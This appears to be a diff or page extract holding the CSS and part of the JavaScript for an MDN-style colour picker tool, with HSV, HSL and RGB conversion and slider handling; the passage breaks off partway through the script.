-.ui-color-picker .switch_mode {
-	width: 10px;
-	height: 20px;
-	position: relative;
-	border-radius: 5px 0 0 5px;
-	border: 1px solid #DDD;
-	background-color: #EEE;
-	left: -12px;
-	top: -1px;
-	z-index: 1;
-	transition: all 0.5s;
-}
-
-.ui-color-picker .switch_mode:hover {
-	background-color: #CCC;
-	cursor: pointer;
-}
-
-/*
- * UI Component
- */
-
-.ui-input-slider {
-	height: 20px;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	-moz-user-select: none;
-	user-select: none;
-}
-
-.ui-input-slider * {
-	float: left;
-	height: 100%;
-	line-height: 100%;
-}
-
-/* Input Slider */
-
-.ui-input-slider > input {
-	margin: 0;
-	padding: 0;
-	width: 50px;
-	text-align: center;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-.ui-input-slider-info {
-	width: 90px;
-	padding: 0px 10px 0px 0px;
-	text-align: right;
-	text-transform: lowercase;
-}
-
-.ui-input-slider-left, .ui-input-slider-right {
-	width: 16px;
-	cursor: pointer;
-	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
-}
-
-.ui-input-slider-right {
-	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
-}
-
-.ui-input-slider-name {
-	width: 90px;
-	padding: 0 10px 0 0;
-	text-align: right;
-	text-transform: lowercase;
-}
-
-.ui-input-slider-btn-set {
-	width: 25px;
-	background-color: #2C9FC9;
-	border-radius: 5px;
-	color: #FFF;
-	font-weight: bold;
-	line-height: 14px;
-	text-align: center;
-}
-
-.ui-input-slider-btn-set:hover {
-	background-color: #379B4A;
-	cursor: pointer;
-}
-
-/*
- * COLOR PICKER TOOL
- */
-
-body {
-	max-width: 1000px;
-	margin: 0 auto;
-
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-
-	box-shadow: 0 0 5px 0 #999;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-	user-select: none;
-
-}
-
-/**
- * Resize Handle
- */
-.resize-handle {
-	width: 10px;
-	height: 10px;
-	background: url('https://mdn.mozillademos.org/files/6083/resize.png') center center no-repeat;
-	position: absolute;
-	bottom: 0;
-	right: 0;
-}
-
-[data-resize='both']:hover {
-	cursor: nw-resize !important;
-}
-
-[data-resize='width']:hover {
-	cursor: w-resize !important;
-}
-
-[data-resize='height']:hover {
-	cursor: n-resize !important;
-}
-
-[data-hidden='true'] {
-	display: none;
-}
-
-[data-collapsed='true'] {
-	height: 0 !important;
-}
-
-.block {
-	display: table;
-}
-
-
-/**
- * 	Container
- */
-#container {
-	width: 100%;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-
-	display: table;
-}
-
-/**
- * 	Picker Zone
- */
-
-#picker {
-	padding: 10px;
-	width: 980px;
-}
-
-.ui-color-picker {
-	padding: 3px 5px;
-	float: left;
-	border-color: #FFF;
-}
-
-.ui-color-picker .switch_mode {
-	display: none;
-}
-
-.ui-color-picker .preview-color:hover {
-	cursor: move;
-}
-
-/**
- * Picker Container
- */
-
-#picker-samples {
-	width: 375px;
-	height: 114px;
-	max-height: 218px;
-	margin: 0 10px 0 30px;
-	overflow: hidden;
-	position: relative;
-	float: left;
-
-	transition: all 0.2s;
-}
-
-#picker-samples .sample {
-	width: 40px;
-	height: 40px;
-	margin: 5px;
-	border: 1px solid #DDD;
-	position: absolute;
-	float: left;
-	transition: all 0.2s;
-}
-
-#picker-samples .sample:hover {
-	cursor: pointer;
-	border-color: #BBB;
-	transform: scale(1.15);
-	border-radius: 3px;
-}
-
-#picker-samples .sample[data-active='true'] {
-	border-color: #999;
-}
-
-#picker-samples .sample[data-active='true']:after {
-	content: "";
-	position: absolute;
-	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
-	width: 100%;
-	height: 12px;
-	top: -12px;
-	z-index: 2;
-}
-
-#picker-samples #add-icon {
-	width: 100%;
-	height: 100%;
-	position: relative;
-	box-shadow: inset 0px 0px 2px 0px #DDD;
-}
-
-#picker-samples #add-icon:hover {
-	cursor: pointer;
-	border-color: #DDD;
-	box-shadow: inset 0px 0px 5px 0px #CCC;
-}
-
-#picker-samples #add-icon:before,
-#picker-samples #add-icon:after {
-	content: "";
-	position: absolute;
-	background-color: #EEE;
-	box-shadow: 0 0 1px 0 #EEE;
-}
-
-#picker-samples #add-icon:before {
-	width: 70%;
-	height: 16%;
-	top: 42%;
-	left: 15%;
-}
-
-#picker-samples #add-icon:after {
-	width: 16%;
-	height: 70%;
-	top: 15%;
-	left: 42%;
-}
-
-#picker-samples #add-icon:hover:before,
-#picker-samples #add-icon:hover:after {
-	background-color: #DDD;
-	box-shadow: 0 0 1px 0 #DDD;
-}
-
-/**
- * 	Controls
- */
-
-#controls {
-	width: 110px;
-	padding: 10px;
-	float: right;
-}
-
-#controls #picker-switch {
-	text-align: center;
-	float: left;
-}
-
-#controls .icon {
-	width: 48px;
-	height: 48px;
-	margin: 10px 0;
-	background-repeat: no-repeat;
-	background-position: center;
-	border: 1px solid #DDD;
-	display: table;
-	float: left;
-}
-
-#controls .icon:hover {
-	cursor: pointer;
-}
-
-#controls .picker-icon {
-	background-image: url('https://mdn.mozillademos.org/files/6081/picker.png');
-}
-
-#controls #void-sample {
-	margin-right: 10px;
-	background-image: url('https://mdn.mozillademos.org/files/6087/void.png');
-	background-position: center left;
-}
-
-#controls #void-sample[data-active='true'] {
-	border-color: #CCC;
-	background-position: center right;
-}
-
-#controls .switch {
-	width: 106px;
-	padding: 1px;
-	border: 1px solid #CCC;
-	font-size: 14px;
-	text-align: center;
-	line-height: 24px;
-	overflow: hidden;
-	float: left;
-}
-
-#controls .switch:hover {
-	cursor: pointer;
-}
-
-#controls .switch > * {
-	width: 50%;
-	padding: 2px 0;
-	background-color: #EEE;
-	float: left;
-}
-
-#controls .switch [data-active='true'] {
-	color: #FFF;
-	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
-	background-color: #777;
-}
-
-/**
- * 	Trash Can
- */
-
-#delete {
-	width: 100%;
-	height: 94px;
-	background-color: #DDD;
-	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
-	background-repeat: repeat;
-
-	text-align: center;
-	color: #777;
-
-	position: relative;
-	float: right;
-}
-
-#delete #trash-can {
-	width: 80%;
-	height: 80%;
-	border: 2px dashed #FFF;
-	border-radius: 5px;
-	background: url('https://mdn.mozillademos.org/files/6085/trash-can.png') no-repeat center;
-
-	position: absolute;
-	top: 10%;
-	left: 10%;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-
-	transition: all 0.2s;
-}
-
-#delete[drag-state='enter'] {
-	background-color: #999;
-}
-
-/**
- * 	Color Theme
- */
-
-#color-theme {
-	margin: 0 8px 0 0;
-	border: 1px solid #EEE;
-	display: inline-block;
-	float: right;
-}
-
-#color-theme .box {
-	width: 80px;
-	height: 92px;
-	float: left;
-}
-
-/**
- * Color info box
- */
-#color-info {
-	width: 360px;
-	float: left;
-}
-
-#color-info .title {
-	width: 100%;
-	padding: 15px;
-	font-size: 18px;
-	text-align: center;
-	background-image: url('https://mdn.mozillademos.org/files/6071/color-wheel.png');
-	background-repeat:no-repeat;
-	background-position: center left 30%;
-}
-
-#color-info .copy-container {
-	position: absolute;
-	top: -100%;
-}
-
-#color-info .property {
-	min-width: 280px;
-	height: 30px;
-	margin: 10px 0;
-	text-align: center;
-	line-height: 30px;
-}
-
-#color-info .property > * {
-	float: left;
-}
-
-#color-info .property .type {
-	width: 60px;
-	height: 100%;
-	padding: 0 16px 0 0;
-	text-align: right;
-}
-
-#color-info .property .value {
-	width: 200px;
-	height: 100%;
-	padding: 0 10px;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	font-size: 16px;
-	color: #777;
-	text-align: center;
-	background-color: #FFF;
-	border: none;
-}
-
-#color-info .property .value:hover {
-	color: #37994A;
-}
-
-#color-info .property .value:hover + .copy {
-	background-position: center right;
-}
-
-#color-info .property .copy {
-	width: 24px;
-	height: 100%;
-	padding: 0 5px;
-	background-color: #FFF;
-	background-image: url('https://mdn.mozillademos.org/files/6073/copy.png');
-	background-repeat: no-repeat;
-	background-position: center left;
-	border-left: 1px solid #EEE;
-	text-align: right;
-	float: left;
-}
-
-#color-info .property .copy:hover {
-	background-position: center right;
-}
-
-
-/**
- * 	Color Palette
- */
-
-#palette {
-	width: 1000px;
-	padding: 10px 0;
-	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
-	background-repeat: repeat;
-	background-color: #EEE;
-	color: #777;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#color-palette {
-	width: 640px;
-	font-family: Arial, Helvetica, sans-serif;
-	color: #777;
-	float: left;
-}
-
-#color-palette .container {
-	width: 100%;
-	height: 50px;
-	line-height: 50px;
-	overflow: hidden;
-	float: left;
-	transition: all 0.5s;
-}
-
-#color-palette .container > * {
-	float: left;
-}
-
-#color-palette .title {
-	width: 100px;
-	padding: 0 10px;
-	text-align: right;
-	line-height: inherit;
-}
-
-#color-palette .palette {
-	width: 456px;
-	height: 38px;
-	margin: 3px;
-	padding: 3px;
-	display: table;
-	background-color: #FFF;
-}
-
-#color-palette .palette .sample {
-	width: 30px;
-	height: 30px;
-	margin: 3px;
-	position: relative;
-	border: 1px solid #DDD;
-	float: left;
-	transition: all 0.2s;
-}
-
-#color-palette .palette .sample:hover {
-	cursor: pointer;
-	border-color: #BBB;
-	transform: scale(1.15);
-	border-radius: 3px;
-}
-
-#color-palette .controls {
-}
-
-#color-palette .controls > * {
-	float: left;
-}
-
-#color-palette .controls > *:hover {
-	cursor: pointer;
-}
-
-#color-palette .controls .lock {
-	width: 24px;
-	height: 24px;
-	margin: 10px;
-	padding: 3px;
-	background-image: url('https://mdn.mozillademos.org/files/6077/lock.png');
-	background-repeat: no-repeat;
-	background-position: bottom right;
-}
-
-#color-palette .controls .lock:hover {
-	/*background-image: url('images/unlocked-hover.png');*/
-	background-position: bottom left;
-}
-
-#color-palette .controls .lock[locked-state='true'] {
-	/*background-image: url('images/locked.png');*/
-	background-position: top left ;
-}
-
-#color-palette .controls .lock[locked-state='true']:hover {
-	/*background-image: url('images/lock-hover.png');*/
-	background-position: top right;
-}
-
-/**
- * Canvas
- */
-
-#canvas {
-	width: 100%;
-	height: 300px;
-	min-height: 250px;
-	border-top: 1px solid #DDD;
-	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
-	background-repeat: repeat;
-	position: relative;
-	float: left;
-}
-
-#canvas[data-tutorial='drop'] {
-	text-align: center;
-	font-size: 30px;
-	color: #777;
-}
-
-#canvas[data-tutorial='drop']:before {
-	content: "Drop colors here to compare";
-	width: 40%;
-	padding: 30px 9% 70px 11%;
-
-	background-image: url('https://mdn.mozillademos.org/files/6075/drop.png');
-	background-repeat: no-repeat;
-	background-position: left 35px top 60%;
-
-	text-align: right;
-
-	border: 3px dashed rgb(221, 221, 221);
-	border-radius: 15px;
-
-	position: absolute;
-	top: 50px;
-	left: 20%;
-}
-
-#canvas[data-tutorial='drop']:after {
-	content: "adjust, change or modify";
-	width: 40%;
-	font-size: 24px;
-	position: absolute;
-	top: 130px;
-	left: 32%;
-	z-index: 2;
-}
-
-#canvas [data-tutorial='dblclick'] {
-	background-color: #999 !important;
-}
-
-#canvas [data-tutorial='dblclick']:before {
-	content: "double click to activate";
-	width: 80px;
-	color: #FFF;
-	position: absolute;
-	top: 10%;
-	left: 20%;
-	z-index: 2;
-}
-
-#canvas .sample {
-	width: 100px;
-	height: 100px;
-	min-width: 20px;
-	min-height: 20px;
-	position: absolute;
-	border: 1px solid rgba(255, 255, 255, 0.3);
-}
-
-#canvas .sample:hover {
-	cursor: move;
-}
-
-#canvas .sample[data-active='true']:after {
-	content: "";
-	position: absolute;
-	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
-	width: 100%;
-	height: 12px;
-	top: -12px;
-	z-index: 2;
-}
-
-#canvas .sample:hover > * {
-	cursor: pointer;
-	display: block !important;
-}
-
-#canvas .sample .resize-handle {
-	display: none;
-}
-
-#canvas .sample .pick {
-	width: 10px;
-	height: 10px;
-	margin: 5px;
-	background: url('https://mdn.mozillademos.org/files/6079/pick.png') center no-repeat;
-	position: absolute;
-	top: 0;
-	left: 0;
-	display: none;
-}
-
-#canvas .sample .delete {
-	width: 10px;
-	height: 10px;
-	margin: 5px;
-	background: url('https://mdn.mozillademos.org/files/6069/close.png') center no-repeat;
-	position: absolute;
-	top: 0;
-	right: 0;
-	display: none;
-}
-
-
-/**
- * Canvas controls
- */
-
-#canvas .toggle-bg {
-	width: 16px;
-	height: 16px;
-	margin: 5px;
-	background: url("images/canvas-controls.png") center left no-repeat;
-	position: absolute;
-	top: 0;
-	right: 0;
-}
-
-#canvas .toggle-bg:hover {
-	cursor: pointer;
-}
-
-#canvas[data-bg='true'] {
-	background: none;
-}
-
-#canvas[data-bg='true'] .toggle-bg {
-	background: url('https://mdn.mozillademos.org/files/6067/canvas-controls.png') center right no-repeat;
-}
-
-#zindex {
-	height: 20px;
-	margin: 5px;
-	font-size: 16px;
-	position: absolute;
-	opacity: 0;
-	top: -10000px;
-	left: 0;
-	color: #777;
-	float: left;
-	transition: opacity 1s;
-}
-
-#zindex input {
-	border: 1px solid #DDD;
-	font-size: 16px;
-	color: #777;
-}
-
-#zindex .ui-input-slider-info {
-	width: 60px;
-}
-
-#zindex[data-active='true'] {
-	top: 0;
-	opacity: 1;
-}
-
-
- -

JavaScript Content

- -
'use strict';
-
-var UIColorPicker = (function UIColorPicker() {
-
-	function getElemById(id) {
-		return document.getElementById(id);
-	}
-
-	var subscribers = [];
-	var pickers = [];
-
-	/**
-	 * RGBA Color class
-	 *
-	 * HSV/HSB and HSL (hue, saturation, value / brightness, lightness)
-	 * @param hue			0-360
-	 * @param saturation	0-100
-	 * @param value 		0-100
-	 * @param lightness		0-100
-	 */
-
-	function Color(color) {
-
-		if(color instanceof Color === true) {
-			this.copy(color);
-			return;
-		}
-
-		this.r = 0;
-		this.g = 0;
-		this.b = 0;
-		this.a = 1;
-		this.hue = 0;
-		this.saturation = 0;
-		this.value = 0;
-		this.lightness = 0;
-		this.format = 'HSV';
-	}
-
-	function RGBColor(r, g, b) {
-		var color = new Color();
-		color.setRGBA(r, g, b, 1);
-		return color;
-	}
-
-	function RGBAColor(r, g, b, a) {
-		var color = new Color();
-		color.setRGBA(r, g, b, a);
-		return color;
-	}
-
-	function HSVColor(h, s, v) {
-		var color = new Color();
-		color.setHSV(h, s, v);
-		return color;
-	}
-
-	function HSVAColor(h, s, v, a) {
-		var color = new Color();
-		color.setHSV(h, s, v);
-		color.a = a;
-		return color;
-	}
-
-	function HSLColor(h, s, l) {
-		var color = new Color();
-		color.setHSL(h, s, l);
-		return color;
-	}
-
-	function HSLAColor(h, s, l, a) {
-		var color = new Color();
-		color.setHSL(h, s, l);
-		color.a = a;
-		return color;
-	}
-
-	Color.prototype.copy = function copy(obj) {
-		if(obj instanceof Color !== true) {
-			console.log('Typeof parameter not Color');
-			return;
-		}
-
-		this.r = obj.r;
-		this.g = obj.g;
-		this.b = obj.b;
-		this.a = obj.a;
-		this.hue = obj.hue;
-		this.saturation = obj.saturation;
-		this.value = obj.value;
-		this.format = '' + obj.format;
-		this.lightness = obj.lightness;
-	};
-
-	Color.prototype.setFormat = function setFormat(format) {
-		if (format === 'HSV')
-			this.format = 'HSV';
-		if (format === 'HSL')
-			this.format = 'HSL';
-	};
-
-	/*========== Methods to set Color Properties ==========*/
-
-	Color.prototype.isValidRGBValue = function isValidRGBValue(value) {
-		return (typeof(value) === 'number' && isNaN(value) === false &&
-			value >= 0 && value <= 255);
-	};
-
-	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
-		if (this.isValidRGBValue(red) === false ||
-			this.isValidRGBValue(green) === false ||
-			this.isValidRGBValue(blue) === false)
-			return;
-
-			this.r = red | 0;
-			this.g = green | 0;
-			this.b = blue | 0;
-
-		if (this.isValidRGBValue(alpha) === true)
-			this.a = alpha | 0;
-	};
-
-	Color.prototype.setByName = function setByName(name, value) {
-		if (name === 'r' || name === 'g' || name === 'b') {
-			if(this.isValidRGBValue(value) === false)
-				return;
-
-			this[name] = value;
-			this.updateHSX();
-		}
-	};
-
-	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
-		this.hue = hue;
-		this.saturation = saturation;
-		this.value = value;
-		this.HSVtoRGB();
-	};
-
-	Color.prototype.setHSL = function setHSL(hue, saturation, lightness) {
-		this.hue = hue;
-		this.saturation = saturation;
-		this.lightness = lightness;
-		this.HSLtoRGB();
-	};
-
-	Color.prototype.setHue = function setHue(value) {
-		if (typeof(value) !== 'number' || isNaN(value) === true ||
-			value < 0 || value > 359)
-			return;
-		this.hue = value;
-		this.updateRGB();
-	};
-
-	Color.prototype.setSaturation = function setSaturation(value) {
-		if (typeof(value) !== 'number' || isNaN(value) === true ||
-			value < 0 || value > 100)
-			return;
-		this.saturation = value;
-		this.updateRGB();
-	};
-
-	Color.prototype.setValue = function setValue(value) {
-		if (typeof(value) !== 'number' || isNaN(value) === true ||
-			value < 0 || value > 100)
-			return;
-		this.value = value;
-		this.HSVtoRGB();
-	};
-
-	Color.prototype.setLightness = function setLightness(value) {
-		if (typeof(value) !== 'number' || isNaN(value) === true ||
-			value < 0 || value > 100)
-			return;
-		this.lightness = value;
-		this.HSLtoRGB();
-	};
-
-	Color.prototype.setHexa = function setHexa(value) {
-		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value);
-
-		if (valid !== true)
-			return;
-
-		if (value[0] === '#')
-			value = value.slice(1, value.length);
-
-		if (value.length === 3)
-			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,'$1$1$2$2$3$3');
-
-		this.r = parseInt(value.substr(0, 2), 16);
-		this.g = parseInt(value.substr(2, 2), 16);
-		this.b = parseInt(value.substr(4, 2), 16);
-
-		this.alpha	= 1;
-		this.RGBtoHSV();
-	};
-
-	/*========== Conversion Methods ==========*/
-
-	Color.prototype.convertToHSL = function convertToHSL() {
-		if (this.format === 'HSL')
-			return;
-
-		this.setFormat('HSL');
-		this.RGBtoHSL();
-	};
-
-	Color.prototype.convertToHSV = function convertToHSV() {
-		if (this.format === 'HSV')
-			return;
-
-		this.setFormat('HSV');
-		this.RGBtoHSV();
-	};
-
-	/*========== Update Methods ==========*/
-
-	Color.prototype.updateRGB = function updateRGB() {
-		if (this.format === 'HSV') {
-			this.HSVtoRGB();
-			return;
-		}
-
-		if (this.format === 'HSL') {
-			this.HSLtoRGB();
-			return;
-		}
-	};
-
-	Color.prototype.updateHSX = function updateHSX() {
-		if (this.format === 'HSV') {
-			this.RGBtoHSV();
-			return;
-		}
-
-		if (this.format === 'HSL') {
-			this.RGBtoHSL();
-			return;
-		}
-	};
-
-	Color.prototype.HSVtoRGB = function HSVtoRGB() {
-		var sat = this.saturation / 100;
-		var value = this.value / 100;
-		var C = sat * value;
-		var H = this.hue / 60;
-		var X = C * (1 - Math.abs(H % 2 - 1));
-		var m = value - C;
-		var precision = 255;
-
-		C = (C + m) * precision | 0;
-		X = (X + m) * precision | 0;
-		m = m * precision | 0;
-
-		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
-		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
-		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
-		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
-		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
-		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
-	};
-
-	Color.prototype.HSLtoRGB = function HSLtoRGB() {
-		var sat = this.saturation / 100;
-		var light = this.lightness / 100;
-		var C = sat * (1 - Math.abs(2 * light - 1));
-		var H = this.hue / 60;
-		var X = C * (1 - Math.abs(H % 2 - 1));
-		var m = light - C/2;
-		var precision = 255;
-
-		C = (C + m) * precision | 0;
-		X = (X + m) * precision | 0;
-		m = m * precision | 0;
-
-		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
-		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
-		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
-		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
-		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
-		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
-	};
-
-	Color.prototype.RGBtoHSV = function RGBtoHSV() {
-		var red		= this.r / 255;
-		var green	= this.g / 255;
-		var blue	= this.b / 255;
-
-		var cmax = Math.max(red, green, blue);
-		var cmin = Math.min(red, green, blue);
-		var delta = cmax - cmin;
-		var hue = 0;
-		var saturation = 0;
-
-		if (delta) {
-			if (cmax === red ) { hue = ((green - blue) / delta); }
-			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
-			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
-			if (cmax) saturation = delta / cmax;
-		}
-
-		this.hue = 60 * hue | 0;
-		if (this.hue < 0) this.hue += 360;
-		this.saturation = (saturation * 100) | 0;
-		this.value = (cmax * 100) | 0;
-	};
-
-	Color.prototype.RGBtoHSL = function RGBtoHSL() {
-		var red		= this.r / 255;
-		var green	= this.g / 255;
-		var blue	= this.b / 255;
-
-		var cmax = Math.max(red, green, blue);
-		var cmin = Math.min(red, green, blue);
-		var delta = cmax - cmin;
-		var hue = 0;
-		var saturation = 0;
-		var lightness = (cmax + cmin) / 2;
-		var X = (1 - Math.abs(2 * lightness - 1));
-
-		if (delta) {
-			if (cmax === red ) { hue = ((green - blue) / delta); }
-			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
-			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
-			if (cmax) saturation = delta / X;
-		}
-
-		this.hue = 60 * hue | 0;
-		if (this.hue < 0) this.hue += 360;
-		this.saturation = (saturation * 100) | 0;
-		this.lightness = (lightness * 100) | 0;
-	};
-
-	/*========== Get Methods ==========*/
-
-	Color.prototype.getHexa = function getHexa() {
-		var r = this.r.toString(16);
-		var g = this.g.toString(16);
-		var b = this.b.toString(16);
-		if (this.r < 16) r = '0' + r;
-		if (this.g < 16) g = '0' + g;
-		if (this.b < 16) b = '0' + b;
-		var value = '#' + r + g + b;
-		return value.toUpperCase();
-	};
-
-	Color.prototype.getRGBA = function getRGBA() {
-
-		var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b;
-		var a = '';
-		var v = '';
-		var x = parseFloat(this.a);
-		if (x !== 1) {
-			a = 'a';
-			v = ', ' + x;
-		}
-
-		var value = 'rgb' + a + rgb + v + ')';
-		return value;
-	};
-
-	Color.prototype.getHSLA = function getHSLA() {
-		if (this.format === 'HSV') {
-			var color = new Color(this);
-			color.setFormat('HSL');
-			color.updateHSX();
-			return color.getHSLA();
-		}
-
-		var a = '';
-		var v = '';
-		var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%';
-		var x = parseFloat(this.a);
-		if (x !== 1) {
-			a = 'a';
-			v = ', ' + x;
-		}
-
-		var value = 'hsl' + a + hsl + v + ')';
-		return value;
-	};
-
-	Color.prototype.getColor = function getColor() {
-		if (this.a | 0 === 1)
-			return this.getHexa();
-		return this.getRGBA();
-	};
-
-	/*=======================================================================*/
-	/*=======================================================================*/
-
-	/*========== Capture Mouse Movement ==========*/
-
-	var setMouseTracking = function setMouseTracking(elem, callback) {
-		elem.addEventListener('mousedown', function(e) {
-			callback(e);
-			document.addEventListener('mousemove', callback);
-		});
-
-		document.addEventListener('mouseup', function(e) {
-			document.removeEventListener('mousemove', callback);
-		});
-	};
-
-	/*====================*/
-	// Color Picker Class
-	/*====================*/
-
-	function ColorPicker(node) {
-		this.color = new Color();
-		this.node = node;
-		this.subscribers = [];
-
-		var type = this.node.getAttribute('data-mode');
-		var topic = this.node.getAttribute('data-topic');
-
-		this.topic = topic;
-		this.picker_mode = (type === 'HSL') ? 'HSL' : 'HSV';
-		this.color.setFormat(this.picker_mode);
-
-		this.createPickingArea();
-		this.createHueArea();
-
-		this.newInputComponent('H', 'hue', this.inputChangeHue.bind(this));
-		this.newInputComponent('S', 'saturation', this.inputChangeSaturation.bind(this));
-		this.newInputComponent('V', 'value', this.inputChangeValue.bind(this));
-		this.newInputComponent('L', 'lightness', this.inputChangeLightness.bind(this));
-
-		this.createAlphaArea();
-
-		this.newInputComponent('R', 'red', this.inputChangeRed.bind(this));
-		this.newInputComponent('G', 'green', this.inputChangeGreen.bind(this));
-		this.newInputComponent('B', 'blue', this.inputChangeBlue.bind(this));
-
-		this.createPreviewBox();
-		this.createChangeModeButton();
-
-		this.newInputComponent('alpha', 'alpha', this.inputChangeAlpha.bind(this));
-		this.newInputComponent('hexa', 'hexa', this.inputChangeHexa.bind(this));
-
-		this.setColor(this.color);
-		pickers[topic] = this;
-	}
-
-	/*************************************************************************/
-	//				Function for generating the color-picker
-	/*************************************************************************/
-
-	ColorPicker.prototype.createPickingArea = function createPickingArea() {
-		var area = document.createElement('div');
-		var picker = document.createElement('div');
-
-		area.className = 'picking-area';
-		picker.className = 'picker';
-
-		this.picking_area = area;
-		this.color_picker = picker;
-		setMouseTracking(area, this.updateColor.bind(this));
-
-		area.appendChild(picker);
-		this.node.appendChild(area);
-	};
-
-	ColorPicker.prototype.createHueArea = function createHueArea() {
-		var area = document.createElement('div');
-		var picker = document.createElement('div');
-
-		area.className = 'hue';
-		picker.className ='slider-picker';
-
-		this.hue_area = area;
-		this.hue_picker = picker;
-		setMouseTracking(area, this.updateHueSlider.bind(this));
-
-		area.appendChild(picker);
-		this.node.appendChild(area);
-	};
-
-	ColorPicker.prototype.createAlphaArea = function createAlphaArea() {
-		var area = document.createElement('div');
-		var mask = document.createElement('div');
-		var picker = document.createElement('div');
-
-		area.className = 'alpha';
-		mask.className = 'alpha-mask';
-		picker.className = 'slider-picker';
-
-		this.alpha_area = area;
-		this.alpha_mask = mask;
-		this.alpha_picker = picker;
-		setMouseTracking(area, this.updateAlphaSlider.bind(this));
-
-		area.appendChild(mask);
-		mask.appendChild(picker);
-		this.node.appendChild(area);
-	};
-
-	ColorPicker.prototype.createPreviewBox = function createPreviewBox(e) {
-		var preview_box = document.createElement('div');
-		var preview_color = document.createElement('div');
-
-		preview_box.className = 'preview';
-		preview_color.className = 'preview-color';
-
-		this.preview_color = preview_color;
-
-		preview_box.appendChild(preview_color);
-		this.node.appendChild(preview_box);
-	};
-
-	ColorPicker.prototype.newInputComponent = function newInputComponent(title, topic, onChangeFunc) {
-		var wrapper = document.createElement('div');
-		var input = document.createElement('input');
-		var info = document.createElement('span');
-
-		wrapper.className = 'input';
-		wrapper.setAttribute('data-topic', topic);
-		info.textContent = title;
-		info.className = 'name';
-		input.setAttribute('type', 'text');
-
-		wrapper.appendChild(info);
-		wrapper.appendChild(input);
-		this.node.appendChild(wrapper);
-
-		input.addEventListener('change', onChangeFunc);
-		input.addEventListener('click', function() {
-			this.select();
-		});
-
-		this.subscribe(topic, function(value) {
-			input.value = value;
-		});
-	};
-
-	ColorPicker.prototype.createChangeModeButton = function createChangeModeButton() {
-
-		var button = document.createElement('div');
-		button.className = 'switch_mode';
-		button.addEventListener('click', function() {
-			if (this.picker_mode === 'HSV')
-				this.setPickerMode('HSL');
-			else
-				this.setPickerMode('HSV');
-
-		}.bind(this));
-
-		this.node.appendChild(button);
-	};
-
-	/*************************************************************************/
-	//					Updates properties of UI elements
-	/*************************************************************************/
-
-	ColorPicker.prototype.updateColor = function updateColor(e) {
-		var x = e.pageX - this.picking_area.offsetLeft;
-		var y = e.pageY - this.picking_area.offsetTop;
-		var picker_offset = 5;
-
-		// width and height should be the same
-		var size = this.picking_area.clientWidth;
-
-		if (x > size) x = size;
-		if (y > size) y = size;
-		if (x < 0) x = 0;
-		if (y < 0) y = 0;
-
-		var value = 100 - (y * 100 / size) | 0;
-		var saturation = x * 100 / size | 0;
-
-		if (this.picker_mode === 'HSV')
-			this.color.setHSV(this.color.hue, saturation, value);
-		if (this.picker_mode === 'HSL')
-			this.color.setHSL(this.color.hue, saturation, value);
-
-		this.color_picker.style.left = x - picker_offset + 'px';
-		this.color_picker.style.top = y - picker_offset + 'px';
-
-		this.updateAlphaGradient();
-		this.updatePreviewColor();
-
-		this.notify('value', value);
-		this.notify('lightness', value);
-		this.notify('saturation', saturation);
-
-		this.notify('red', this.color.r);
-		this.notify('green', this.color.g);
-		this.notify('blue', this.color.b);
-		this.notify('hexa', this.color.getHexa());
-
-		notify(this.topic, this.color);
-	};
-
-	ColorPicker.prototype.updateHueSlider = function updateHueSlider(e) {
-		var x = e.pageX - this.hue_area.offsetLeft;
-		var width = this.hue_area.clientWidth;
-
-		if (x < 0) x = 0;
-		if (x > width) x = width;
-
-		// TODO 360 => 359
-		var hue = ((359 * x) / width) | 0;
-		// if (hue === 360) hue = 359;
-
-		this.updateSliderPosition(this.hue_picker, x);
-		this.setHue(hue);
-	};
-
-	ColorPicker.prototype.updateAlphaSlider = function updateAlphaSlider(e) {
-		var x = e.pageX - this.alpha_area.offsetLeft;
-		var width = this.alpha_area.clientWidth;
-
-		if (x < 0) x = 0;
-		if (x > width) x = width;
-
-		this.color.a = (x / width).toFixed(2);
-
-		this.updateSliderPosition(this.alpha_picker, x);
-		this.updatePreviewColor();
-
-		this.notify('alpha', this.color.a);
